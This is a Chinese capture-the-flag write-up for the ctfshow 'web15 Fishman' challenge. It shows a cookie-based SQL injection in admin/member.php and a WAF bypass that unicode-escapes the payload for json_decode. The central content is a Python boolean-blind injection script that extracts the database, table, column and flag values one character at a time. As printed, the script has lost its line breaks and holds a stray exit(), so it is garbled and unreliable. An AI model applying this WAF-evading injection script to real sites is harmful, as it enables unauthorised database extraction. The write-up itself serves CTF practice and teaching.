ctfshow-web-web15 Fishman

0x00 前言

  • CTF 加解密合集
  • CTF Web合集
  • 网络安全知识库
  • 溯源相关

文中工具皆可关注 皓月当空w 公众号 发送关键字 工具 获取

0x01 题目

在这里插入图片描述

0x02 Write Up

首先拿到题目,先扫描一下,发现一个www.zip

在这里插入图片描述
发现一个admin目录,访问一下:

在这里插入图片描述
在member.php中发现一段代码,这段代码中存在sql注入,也就是在cookie中的sql注入

在这里插入图片描述
有一个要点是,在代码中存在waf

在这里插入图片描述
这里有一个小知识就是json_decode可以识别unicode代码。那么我们可以将我们的测试poc改为unicode

true的话会返回一组

在这里插入图片描述
false会返回两组
在这里插入图片描述

以此为依据,可以进行遍历

脚本用的是大佬写好的脚本

#encoding=utf-8
import requestsurl = "http://f17498a1-535d-45db-8840-09657e3b6c78.challenge.ctf.show/admin/"def tamper(payload):payload = payload.lower()payload = payload.replace('u', '\\u0075')payload = payload.replace('\'', '\\u0027')payload = payload.replace('o', '\\u006f')payload = payload.replace('i', '\\u0069')payload = payload.replace('"', '\\u0022')payload = payload.replace(' ', '\\u0020')payload = payload.replace('s', '\\u0073')payload = payload.replace('#', '\\u0023')payload = payload.replace('>', '\\u003e')payload = payload.replace('<', '\\u003c')payload = payload.replace('-', '\\u002d')payload = payload.replace('=', '\\u003d')payload = payload.replace('f1a9', 'F1a9')payload = payload.replace('f1', 'F1')return payload#get database length
def databaseName_len():print ("start get database name length...")for l in range(0,45):payload = "1' or (length(database())=" + str(l+1) + ")#"print(payload)payload = tamper(payload)print(payload)tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payloadprint(tmpCookie)exit()headers = {'cookie': tmpCookie}r =requests.get(url, headers=headers)myHeaders = str(r.raw.headers)if ((myHeaders.count("login_data") == 1)):print('get db length = ' + str(l).lower())break#get content
def get_databaseName():flag = ''for j in range(0, 15):for c in range(0x20,0x7f):if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':continueelse:payload = "1' or (select (database()) between '" + flag + chr(c) + "' and '" +chr(126) + "')#"#print(payload)payload = tamper(payload)tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payloadheaders = {'cookie': tmpCookie}r =requests.get(url, headers=headers)myHeaders = str(r.raw.headers)if ((myHeaders.count("login_data") == 2)):flag += chr(c - 1)print('databasename = ' + flag.lower())break#get content
def get_tableName():flag = ''for j in range(0, 30):           #blind injectfor c in range(0x20,0x7f):if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':continueelse:payload = "1' or (select (select table_name from information_schema.tables where table_schema=database() limit 3,1) between '" + flag + chr(c) + "' and '" +chr(126) + "')#"#print(payload)payload = tamper(payload)tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payloadheaders = {'cookie': tmpCookie}r =requests.get(url, headers=headers)myHeaders = str(r.raw.headers)if ((myHeaders.count("login_data") == 2)):flag += chr(c - 1)print('tablename = ' + flag.lower())break#get content
def get_ColumnName():flag = ''for j in range(0, 10):           #blind injectfor c in range(0x20,0x7f):if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':continueelse:payload = "1' or (select (select column_name from information_schema.columns where table_name='FL2333G' limit 0,1) between '" + flag + chr(c) + "' and '" +chr(126) + "')#"#print(payload)payload = tamper(payload)tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payloadheaders = {'cookie': tmpCookie}r =requests.get(url, headers=headers)myHeaders = str(r.raw.headers)if ((myHeaders.count("login_data") == 2)):flag += chr(c - 1)print('column name = ' + flag.lower())break#get content
def get_value():flag = ''for j in range(0, 50):           #blind injectfor c in range(0x20,0x7f):if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':continueelse:payload = "1' or (select (select FLLLLLAG from FL2333G) between '" + flag + chr(c) + "' and '" +chr(126) + "')#"#print(payload)payload = tamper(payload)tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payloadheaders = {'cookie': tmpCookie}r =requests.get(url, headers=headers)myHeaders = str(r.raw.headers)if ((myHeaders.count("login_data") == 2)):flag += chr(c - 1)print('flag = ' + flag.lower())breakprint ("start database sql injection...")
# databaseName_len()
# get_databaseName()
# get_tableName()
# get_ColumnName()
get_value()

0x03 other

欢迎大家关注我朋友的公众号 皓月当空w 分享漏洞情报以及各种学习资源,技能树,面试题等。

以上

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/75568.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【算法训练-字符串 三】最长公共子串、最长公共子序列

废话不多说&#xff0c;喊一句号子鼓励自己&#xff1a;程序员永不失业&#xff0c;程序员走向架构&#xff01;本篇Blog的主题是【】&#xff0c;使用【】这个基本的数据结构来实现&#xff0c;这个高频题的站点是&#xff1a;CodeTop&#xff0c;筛选条件为&#xff1a;目标公…

使用多线程或异步技术提高图片抓取效率

导语 图片抓取是爬虫技术中常见的需求&#xff0c;但是图片抓取的效率受到很多因素的影响&#xff0c;比如网速、网站反爬机制、图片数量和大小等。本文将介绍如何使用多线程或异步技术来提高图片抓取的效率&#xff0c;以及如何使用爬虫代理IP来避免被网站封禁。 概述 多线…

C++多态案例-设计计算器类

1.前置知识点 多态是面向对象的三大特性之一 多态分为两类 静态多态&#xff1a;函数重载和运算符重载都属于静态多态&#xff0c;复用函数名动态多态&#xff1a;派生类和虚函数实现运行时多态 静态多态和动态多态的区别 静态多态的函数地址早绑定-----编译阶段确定函数地…

Ukey连接虚拟前置机,浦银安盛基金用USB Server解决

浦银安盛基金一直使用物理前置机来连接Ukey&#xff0c;物理前置机维护管理不便&#xff0c;严重影响金融交易效率。因此&#xff0c;浦银安盛基金想要推进企业虚拟化&#xff0c;通过在虚拟机中部署前置机程序的方式&#xff0c;将前置机部署到虚拟机中。但虚拟机中的前置机&a…

shell脚本指令:for循环、函数、数组、grep等指令的使用

1、实现一个对数组求和的函数&#xff0c;数组通过实参传递给函数 2、写一个函数&#xff0c;输出当前用户的uid和gid 并使用变量接收结果 #!/bin/bash echo "请输入一个数组" read -a arr function add_arr() {var1${#arr[*]}for i in ${arr[*]} do((sumi))doner…

微信小程序上拉触底事件

一、什么是上拉触底事件 上拉触底是移动端的专有名词&#xff0c;通过手指在屏幕上的上拉滑动操作&#xff0c;从而加载更多数据的行为。 二、监听上拉触底事件 在页面的.js文件中&#xff0c;通过onReachBottom()函数即可监听当前页面的上拉触底事件。 三、配置上拉触底距…

一生一芯10——verilator v5.008环境搭建

搜索 verilator 官网&#xff0c;得到网址如下&#xff1a; https://www.veripool.org/verilator/ 点击download 找到 git quick install 可以看到git快捷安装所需命令行 可以看到&#xff0c;需要预先安装下面的包文件&#xff0c;去掉前面的#注释符号进行安装 直接进行下面…

天津大数据培训学校 大数据可从事的行业

大数据行业近年来呈现出爆炸式的增长态势&#xff0c;各行各业都越来越依赖数据来指导业务决策和创新发展&#xff0c;因此&#xff0c;大数据专业人才的需求也随之增长。这种行业需求的增长为大数据就业提供了良好的机会&#xff0c;尤其是对于具备相关技能和知识的人来说。 …

【C#】关于Array.Copy 和 GC

关于Array.Copy 和 GC //一个简单的 数组copy 什么情况下会触发GC呢[ReliabilityContract(Consistency.MayCorruptInstance, Cer.MayFail)]public static void Copy(Array sourceArray,long sourceIndex,Array destinationArray,long destinationIndex,long length);当源和目…

173. 二叉搜索树迭代器

173. 二叉搜索树迭代器 题目-中等难度示例1. 列表解 题目-中等难度 实现一个二叉搜索树迭代器类BSTIterator &#xff0c;表示一个按中序遍历二叉搜索树&#xff08;BST&#xff09;的迭代器&#xff1a; BSTIterator(TreeNode root) 初始化 BSTIterator 类的一个对象。BST 的…

js如何实现字符串反转?

聚沙成塔每天进步一点点 ⭐ 专栏简介⭐ 使用 split() 和 reverse() 方法⭐ 使用循环⭐ 使用递归⭐ 写在最后 ⭐ 专栏简介 前端入门之旅&#xff1a;探索Web开发的奇妙世界 记得点击上方或者右侧链接订阅本专栏哦 几何带你启航前端之旅 欢迎来到前端入门之旅&#xff01;这个专…

肖sir__设计测试用例方法之因果图07_(黑盒测试)

设计测试用例方法之因果图 一、定义&#xff1a;因果图提供了一个把规格转化为判定表的系统化方法&#xff0c;从该图中可以产生测试数据。其 中&#xff0c;原因是表示输入条件&#xff0c;结果是对输入执 行的一系列计算后得到的输出。 二、因果图方法最终生成的就是判定表。…

MySQL主从复制读写分离

读写分离 读写分离&#xff0c;基本的原理是让主数据库处理事务性增、改、删操作&#xff08;INSERT、UPDATE、DELETE&#xff09;&#xff0c;而从数据库处理SELECT查询操作。数据库复制被用来把事务性操作导致的变更同步到集群中的从数据库 读写分离的好处 因为数据库的“写…

【Linux基础】权限管理

​&#x1f47b;内容专栏&#xff1a; Linux操作系统基础 &#x1f428;本文概括&#xff1a; 用户之间的切换、sudo提权、Linux权限管理、文件访问权限的相关方法、目录权限、粘滞位等 &#x1f43c;本文作者&#xff1a; 阿四啊 &#x1f438;发布时间&#xff1a;2023.9.11 …

elasticsearch的DSL查询文档

DSL查询分类 查询所有&#xff1a;查询出所有数据&#xff0c;一般测试用。例如&#xff1a;match_all 全文检索&#xff08;full text&#xff09;查询&#xff1a;利用分词器对用户输入内容分词&#xff0c;然后去倒排索引库中匹配。例如&#xff1a; match_query multi_ma…

在Qt创建的UI中放一个显示点云的窗口(PCL+QT5)

1、首先在Qt Designer创建UI后&#xff0c;拖一个Widget窗口出来 2、在对象查看器中右击该Widget&#xff0c;选择提升窗口部件&#xff0c;如下操作&#xff1a; 3、把UI转出来放在VS项目中&#xff0c;其中你的UI代码头文件会自带QVTKOpenGLNativeWidget.h&#xff0c;当然你…

小谈设计模式(1)—总序

小谈设计模式&#xff08;1&#xff09;—总序 开始操作设计模式总论设计模式是什么组成要素模式名称问题描述解决方案效果描述 设计模式有什么作用提供可重用的解决方案提高代码的可读性和可维护性促进代码的可扩展性提高代码的灵活性和可重用性促进团队合作和沟通作用总结 为…

基于HBuilder X平台下的 驾校报名考试管理系统 uniapp 微信小程序3n9o5

本课题研究的是基于HBuilder X系统平台下的驾校管理系统&#xff0c;开发这款驾校管理系统主要是为了帮助学员可以不用约束时间与地点进行查看教练信息、考场信息等内容。本文详细讲述了驾校管理系统的界面设计及使用&#xff0c;主要包括界面的实现、控件的使用、界面的布局和…

【计算机网络】 TCP协议头相关知识点

文章目录 TCP协议头 TCP协议头 我们来看一下TCP协议头里都有什么东西&#xff0c;研究一下为什么TCP协议是可靠的呢 TCP协议可靠是因为在协议头里带着一些校验的数据 首先是源端口和目的端口&#xff0c;这两个是UDP中也有的&#xff0c;但是UDP中只有这两个&#xff0c;没有…

基于Linux的智能家居(工厂模式)

目录 1.项目概述 2.程序框架 3.函数准备 3.1需要函数知识点 3.2编码提醒 4.代码 5.注意事项 1.项目概述 控制端有两个&#xff0c;语音串口UART和Tcp通讯。 执行端有IO输出和IO输入。 2.程序框架 程序分为3部分-------------1.输入控制 2.输出设备 3.主函数-多线程…